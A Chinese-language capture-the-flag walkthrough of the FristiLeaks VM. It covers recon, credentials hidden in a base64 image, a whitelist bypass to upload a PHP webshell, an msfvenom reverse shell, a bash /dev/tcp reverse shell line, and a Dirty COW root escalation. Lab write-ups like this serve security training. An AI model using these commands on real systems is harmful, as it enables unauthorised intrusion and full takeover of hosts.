Goal: get root (uid 0) and read the flag file

主机发现

使用kali自带的nmap扫描我桥接网卡所在的网段,192.168.1.0/24
nmap -sP -T4 192.168.1.0/24 -oN zzp1.txt
image-20231126151026326
之后通过对比virtualbox的自带mac地址,与nmap扫描出来的mac地址进行对面发现我的IP为
192.168.1.90

(MAC地址是在靶场下载页面作者让改的)
VMware users will need to manually edit the VM's MAC address to: 08:00:27:A5:A6:76
image-20231126150825868

端口扫描

扫描目标主机开放端口
nmap -sS -sV -T5 -p- 192.168.1.90
发现只有80端口开启
image-20231126172846647

Web信息收集

访问192.168.1.90
image-20231126173113505
这里显示了一个作者的座右铭,保持冷静并喝一瓶fristi(好像是荷兰的一种酸奶饮料哈哈)
唯一的一个链接还是跳转到X的

看到一个很有趣的大哥
image-20231126173724239
看一下他的页面组成
image-20231126173824500
看一看有没有robots.txt
image-20231126173946755
使用御剑扫描一下有什么后台文件,扫描到一个sisi,感觉这说明他robots里面说的是不是都是后台文件
image-20231126192133406
访问http://192.168.1.90/sisi,cola,beer
image-20231126192230582
image-20231126192357026
image-20231126192411247
访问http://192.168.1.90/sisi
image-20231126192311046
之后就没有任何线索了,难受,通过查看攻略发现,fristi可以访问
image-20231126192729322
使用御剑扫描fristi的后台文件看看有没有什么发现,记下来登陆上去后估计有用
image-20231126195234762

漏洞利用

查看是不是有敏感信息泄露,一般都在注释中,按f12我们可以在head中看到有一个TODO的任务列表
<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->

大概意思为为了后面测试人员的任务更轻松,在这里留了一下对测试有帮助的东西以便于测试,重点为:eezeepz
image-20231126193931540
之后还是源码,他的body中有一个注释中有一个非常清晰的特征,base64编码的等号
<!-- 
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->

我们尝试解码
image-20231126194243723
解码结果为

PNG


IHDRmK4ၪsRGBΜ退gAMAa    pHYsÀÁǯdRIDATx^홑v۠aˋzl&I%KH@f455VIܳڞ~Ŏ"Gx#ȑ^䈀/r9Ŏ"Gx#ȑ^䈀/r9Ŏ"Gx#ȑ^䈀/ߦ﵏T3h՗j~̓ݿ~ևѲZ饧䌤ĤZZUW$oﷹ{K}fPˑץ9{ضݘKKL>aϥZDŌŚ邭ﵯͺåΰݖKKL>e׵KZʹ1n
'՛*ь%&ВxgյV3]#q鰺ŽR͜Zb    -]յ銈5Ӆ9r(݈鉵seɇtXq"k6ԗjg=YxibѢꍗj抒ň-Y슯銈5ӅxD7(M6ܹ
FήT3Wג刊ߞԗj圩ߠ草6ŵ븿蛯D3ؒሂ⃍銈5ӅZl3GYdMo6ȼTrRْ͘ሂ/-ꋵӅJI,i9lѢꋙD![
o㥇߫ЍtWK}f̑h鸖ዽd [T5!Ռuɘ-ӇњӋ,郭GRѬߤkj\g}<.Ռuɘ-ٖ_uZʹ#|_AӜէcjƸdЖJ{<7
9C}fP̑紶鰎]ʽOڡI5c\2hK͇tbʹ#ќ*É:燱۴RJjƺ$#+o`Ռ*9�>͸U騢"dzjƼdȖ‹#۞ԗj휩'zUqF>ެLZ[Z4پLZ钽fˑ€ᄓ;ټ뵷Ⳮf.-�FEZʔ_>sdΡ6(.ߕ^n|/Ռ䂒ZZ떗=ӣ;tʎה_>Trd+?87j-޽dRʹ!#[䈀/r9Ŏ"Gx#ȑ^䈀/r9Ŏ"Gx#ȑ^䈀/r9Ŏ"Gx#ȑ^䈀/r9ŎZ︤֫rqIENDB`

这个PNG的文件头还是很明显的,一般图片类型的文件头都会表明他是什么类型的
我们新建一个txt并把解码后的内容复制进去,更改后缀为PNG来进行查看,发现并不成功,是不是我们解码的不正确,所以我打算使用kali自带的base64解码,并输出到一个.PNG文件当中去,以确保我复制粘贴是时不会报错
image-20231126194730722
创建一个文件,把未解码的文件放入,并在文件所在目录打开命令行
image-20231126194942424
终端执行如下命令,
base64 -d zzp.txt > zzp.png
image-20231126195216881
image-20231126195139632
出来一组混合排列的ke,所以我们来进行尝试登录也就两种可能
keKkeKKeKKeKkEkkEk
image-20231126201112677
成功登录
image-20231126201105379
有一个上传文件的位置,直接上一句话,不跟他哔哔赖赖
image-20231126201301996
image-20231126201251255
发现这是一个白名单
image-20231126201331453
白名单绕过方式我知道的只有一下几种
1、文件名后缀0x00截断绕过
2、PHP文件包含漏洞
3、IIS解析漏洞
4、Nginx解析漏洞
5、apache多后缀解析

我们可以通过之前的信息收集,他的服务器时apache的排除掉nginx和iis解析漏洞,有没有文件包含,所以只有00截断和加报名单后缀可以尝试可以尝试

前提条件
php版本小于5.3.4
php的gpc功能关闭

正好PHP的版本为5.3.3正好小于5.3.4
1701001261545
但是通过抓包发现根本没有保存路径啊,靠北啊,这PHP版本是来诱惑我的吗


最后我们,尝试apache多后缀解析,成功了,使用蚁剑链接我们的一句话木马
Apache解析漏洞
在Apache HTTPD 服务器的配置文件httpd.conf 中,如果出现了如下配置:
AddHandler application/x-httpd-php .php
只要一个文件的文件命中包含了.php 关键字(没必要是最后一个后缀),就会被识别成PHP 文件。攻击者利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

存在漏洞的版本: php版本小于5.6 
配置文件 : AddType application/x-httpd-php .php  需要开启
image-20231126202528800
成功,连接
image-20231126202730879
image-20231126202826728

提权(ZZP)

咱就是apache权限用不惯就得来最牛逼的,直接打开kali进行提权,可以通过ls -al看出来这个文件夹就是我的天下
image-20231126203115308
使用kali生成反向连接shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.77 LPORT=4444 -f elf > shell.elf

上传到目标主机中
image-20231126204155275
image-20231126204424267
查询我们上传的shell的权限并添加执行权限
image-20231126204539121
kali运行监听
msfconsole打开msf的控制台
use exploit/multi/handler使用监听模块
set payload linux/x64/meterpreter/reverse_tcp设置监听payload为linux反向连接
set lhost 192.168.1.77
set lport 4444设置kali本地ip和端口
run开始运行监听
image-20231126204724542
目标主机运行shell,成功监听
image-20231126204825128
image-20231126204847421
之后就是公式化的使用msf进行提权了
kali:
background退回到msf控制台视图
use post/multi/recon/local_exploit_suggester使用漏洞检测模块
set session 1 设置为咱们刚刚监听到的session
run运行漏洞检测模块
image-20231126205316278
use exploit/xxx/xxx/xxx/xxx 使用某个绿色的可用的漏洞利用模块

options 查看该漏洞利用模块的参数,yes代表必须项,no代表可填项,将没有值的yes项填完整 set xxxxx
image-20231126205703358
run 运行该漏洞利用模块,成功则返回一个 meterpreter 视图
getuid 查看当前是否提权成功
image-20231126210025347
好了,心灰意冷全部提权失败,我服了
我看了一下他们教程的的提权方式好麻烦,我选择我的最后希望,脏牛

首先查看内核版本是否符合
uname -a

发现内核版本符合脏牛的要求(Linux kernel >= 2.6.22)
image-20231126210658618
上传我们的脏牛
image-20231126210907214
使用gcc -pthread dirty.c -o dirty -lcrypt编译我们的脏牛,生册灰姑娘dirty文件
image-20231126211107582
执行命令 ./dirty root

只能说msf的反弹shell有的时候不好用
image-20231126212046282
打算使用nc反弹shell

首先kali监听
nc -lvp 7777

使用蚁剑命令行执行
bash -i >& /dev/tcp/192.168.1.77/7777 0>&1

成功
image-20231126212256685
提示我/tmp/passwd.bak已存在所以cd过去查看
首先 la -al 看看我们能不能删除掉他

发现他的所有者为apache
image-20231126212431713
直接删除
rm -f passwd.bak
image-20231126212556079
cd 回刚才的目录继续执行脏牛
./dirty root

完成
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'root'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

还提醒你别忘了,完事把bak挪回去
image-20231126213121928
想要在nc中su 到 firefart可惜忘了,nc不算一个完整的终端
image-20231126213401214
忘了咱们都有密码了直接走正门呗
firefart
root
image-20231126213836304
提权成功
image-20231126215025311
cd 到root的根目录ls -al查看fristileaks_secrets.txt文件,成功获得flag
image-20231126215136137

提权(WH)

总结

1.apache的后缀解析漏洞
2.注意注释中的敏感信息泄露
3.及时更新版本
4.kali自带反弹一个完整的命令行,可以到 cd /usr/share/webshells/php 目录下查看
5.如果使用的是nc反弹shell,我们可以在nc的shell中使用 python -c 'import pty;pty.spawn("/bin/bash")' 来返回一个完整的shell

这个靶场我一共用了四种命令行
msf的监听
nc的监听
蚁剑的终端
目标主机的命令行

Views: 18

邮箱:zzpqwetvg@gmail.com
最后更新于 2023-11-28